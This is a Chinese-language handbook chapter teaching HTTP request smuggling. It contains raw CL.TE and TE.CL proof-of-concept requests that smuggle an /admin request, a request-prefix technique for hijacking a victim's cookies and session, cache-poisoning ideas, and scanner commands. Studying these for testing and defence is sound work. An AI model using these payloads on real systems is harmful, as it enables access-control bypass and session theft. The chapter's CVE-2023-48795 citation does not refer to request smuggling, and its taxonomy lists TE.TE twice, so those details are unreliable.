逆向工程实战手册 第 67 章

第 67 章 HTTP 请求走私(Request Smuggling)

HTTP 请求走私(HRS)是"中间层(代理/负载均衡/CDN)与后端服务器对 HTTP 请求解析不一致"导致的攻击:把一段请求"走私"到后端,绕过前端的所有安全控制(认证/WAF/访问控制)。它是 2020-2025 年高危 Web 漏洞的常客(CVE-2023-48795 等)。

📍 知识点地图 | 主题:HTTP请求走私 | 前置:第58章 | 后续:第102章 | 核心概念:CL.TE/TE.CL、绕过WAF、缓存投毒

67.1 核心原理(先懂解析不一致)

正常路径:
  客户端 → 代理(CDN/WAF/LB)→ 后端服务器
  代理和后端都按同一规则解析请求 → 一个请求 = 一个请求

走私原理:
  代理和后端对"请求边界"的判断不同(Content-Length vs Transfer-Encoding)
  → 代理认为是一个请求,后端认为是两个
  → 第二个请求绕过代理的检查(认证/WAF)直接到达后端

经典根源: 两个 HTTP 头都出现
  Content-Length: 13(CL: 代理用的)
  Transfer-Encoding: chunked(TE: 后端用的)

67.2 五类走私技术(分类学)

技术 原理 特征
CL.TE 代理用 CL,后端用 TE Content-Length + Transfer-Encoding: chunked
TE.CL 代理用 TE,后端用 CL 反过来
TE.TE 两端都支持 TE 但混淆处理 变体编码(Transfer-Encoding : chunked
CL.CL 都支持 CL 重复 CL 头
TE.TE 混淆 一个头多种写法 大小写/空格/多值

67.3 CL.TE 详解(最经典)

原理与 PoC

代理用 Content-Length(认为一个请求)
后端用 Transfer-Encoding: chunked(按 chunk 解析 → 两个请求)

PoC:
POST / HTTP/1.1
Host: target.com
Content-Length: 13          ← 代理: 请求体 13 字节
Transfer-Encoding: chunked  ← 后端: 按 chunked 解析

0

GET /admin HTTP/1.1
Host: target.com
X-Ignore: X                  ← 走私的第二请求(后端执行,代理看不见!)

检测方法

发送带"延迟特征"的探测请求:
  POST / HTTP/1.1
  Host: target.com
  Content-Length: 4
  Transfer-Encoding: chunked

  5c
  GPOST / HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 15

  x=1
  0

  → 如果后端走私执行了 "GPOST"(无效方法 → 后端报错)
  → 下一个正常请求会看到响应错乱/延迟 → 确认走私

67.4 TE.CL 详解

代理用 Transfer-Encoding(按 chunked 解析)
后端用 Content-Length(只读声明的长度 → 剩余当作下一请求)

PoC:
POST / HTTP/1.1
Host: target.com
Content-Length: 3           ← 后端: 只读 3 字节
Transfer-Encoding: chunked  ← 代理: chunked

8
SMUGGLED
0

GET /admin HTTP/1.1
Host: target.com
X-Ignore: X

67.5 走私的危害(利用目标)

1. 绕过前端安全控制(最常用)

WAF/代理拦截 /admin → 走私进去的后端请求不经过 WAF
CDN 缓存投毒 → 给别人投毒响应

2. 绕过认证(请求重定向)

走私请求带有"已验证用户"的会话特征:
  先走私一个请求"占用"连接 → 下一个正常用户的请求被拼到后面
  → 攻击者的请求带着受害者的 Cookie 到达后端

经典手法(请求夹带/攻击者拼接):
  POST / HTTP/1.1
  ...
  0

  GET /account HTTP/1.1
  Host: target.com
  Content-Length: 40

  → 受害者的下一个请求(含 Cookie)被走私到 GET /account 之后
  → 组合成受害者的请求 → 攻击者接管受害者的会话

3. 绕过访问控制(直接访问内部端点)

走私请求直连后端未暴露的接口:
  内部管理端点 /internal/admin(前端不路由,后端存在)
  → 走私访问 = 拿到内部功能

4. 缓存投毒(影响其他用户)

走私请求触发后端"缓存错误的响应" → CDN 缓存恶意内容 → 所有用户受害

5. WAF 绕过(白名单功能走私)

前端有"URL 白名单"(如只允许 /public)→ 走私非白名单路径到后端

67.6 检测与验证方法(实战)

方法 1:时序检测(最可靠)

发送走私探测(使后端连接挂起)→ 测量响应延迟:
  1. 发走私请求(含未闭合的 chunk/请求)
  2. 下一个正常请求响应延迟明显(被走私影响)→ 确认

工具: Burp 的 HTTP Request Smuggler 扩展(自动检测五种类型)

方法 2:响应错乱检测

走私一个"非法方法"请求(GPOST)→ 后端返回 400/505(但代理不知道)
→ 下一个请求的响应错乱 → 确认

方法 3:差异检测(对比前后端)

同一请求,直接连后端 vs 经代理 → 响应不同 → 解析差异存在

67.7 请求走私的工具链

# 1. Burp + HTTP Request Smuggler 扩展(自动检测+利用,首选)
# 2. 手工 PoC(Burp Repeater 逐个调试)
# 3. Smuggler(Python,批量检测):
git clone https://github.com/defparam/smuggler
python3 smuggler.py -u https://target.com
# 4. 自动化扫描: nuclei 的 http-smuggling 模板

67.8 完整测试流程

1. 识别架构: 有代理/CDN/LB?(响应头/路由行为)
2. 确认解析引擎差异(CL/TE 支持情况)
3. 用 Burp Smuggler 跑五种技术检测
4. 确认后评估危害:
   □ 绕过 WAF/认证(哪个端点受益)
   □ 缓存投毒可能?
   □ 内部端点可达?
5. 最小化利用验证(点到即止)
6. 报告: 技术类型 + PoC + 影响

67.9 检查清单

□ 架构确认(代理/CDN/负载均衡)
□ 五种技术检测(CL.TE/TE.CL/TE.TE/CL.CL/混淆)
□ 时序检测验证
□ WAF 绕过评估
□ 认证绕过评估(请求夹带)
□ 内部端点访问
□ 缓存投毒评估
□ 报告: 技术类型+PoC+影响

动手练习

  1. 在本地搭代理+后端(如 nginx + 应用),配置解析差异,复现 CL.TE 走私。
  2. 用 Burp HTTP Request Smuggler 对一个练习环境自动检测五种类型。
  3. 手工构造一个 CL.TE PoC(含走私的 /admin 请求),观察后端行为。
  4. 分析一个公开的走私漏洞报告(PortSwigger 有大量案例),画出它的利用链。

深入阅读

  • 仓库:CTF-Sandbox-Orchestrator/competition-request-normalization-smuggling/(请求走私 CTF 子技能)
  • 仓库:CTF-Sandbox-Orchestrator/competition-runtime-routing/(路由/代理解析差异)
  • 仓库:skills/pentest-tools/references/web-attack-cheatsheet.md(配合 Web 测试)
  • 外部: PortSwigger 请求走私研究(权威)、HTTP Request Smuggler 扩展